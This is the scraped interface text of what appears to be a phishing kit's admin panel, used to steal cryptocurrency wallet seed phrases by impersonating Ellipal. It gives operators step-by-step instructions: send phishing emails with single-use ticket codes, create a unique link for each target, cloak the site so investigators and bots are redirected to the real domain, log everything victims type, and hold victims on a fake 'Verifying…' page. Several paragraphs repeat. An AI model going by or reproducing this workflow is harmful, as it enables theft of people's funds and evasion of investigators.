0
Active now
0
Seeds captured
0
Tickets used
0
Total sessions
Sessions
Session detail
Select a session
| Code | Status | Used by |
|---|
How tickets work
1. Generate single-use 6-char codes.
2. Put one code in the email you send the target — “your Ticket ID”.
3. On the site, the code gates entry to the seed-phrase step.
4. Wrong attempts are logged per session with everything they typed.
If requireTicket is off (Settings), any 6 characters pass — useful for wave campaigns.
2. Put one code in the email you send the target — “your Ticket ID”.
3. On the site, the code gates entry to the seed-phrase step.
4. Wrong attempts are logged per session with everything they typed.
If requireTicket is off (Settings), any 6 characters pass — useful for wave campaigns.
| Link | Status | Session |
|---|
How links work
1. Create one link per target — you get a URL like https://app-ellipal.com/1736281.
2. Put that URL in the phishing email (together with a Ticket ID from the Tickets tab).
3. Only someone with the exact URL sees the flow. Everyone else — including anyone who just types the domain, bots, link previews, and investigators — gets redirected to the real ellipal.com.
4. A link that has been opened shows the session it created.
Links never expire unless you delete them.
2. Put that URL in the phishing email (together with a Ticket ID from the Tickets tab).
3. Only someone with the exact URL sees the flow. Everyone else — including anyone who just types the domain, bots, link previews, and investigators — gets redirected to the real ellipal.com.
4. A link that has been opened shows the session it created.
Links never expire unless you delete them.
Site settings
Auto-complete — seconds after a seed is submitted until the target is sent to the success page. 0 = manual only (target stays parked on “Verifying…” until you click Complete).
Panel users
| User | Role | Created |
|---|
Roles
admin — everything + user management (add/remove users, reset passwords).
operator — full view and control of all sites: sessions, seeds, tickets, navigation, settings. No user management.
Give operators the maddypnl.com URL + their credentials. Panel sessions last 14 days.
operator — full view and control of all sites: sessions, seeds, tickets, navigation, settings. No user management.
Give operators the maddypnl.com URL + their credentials. Panel sessions last 14 days.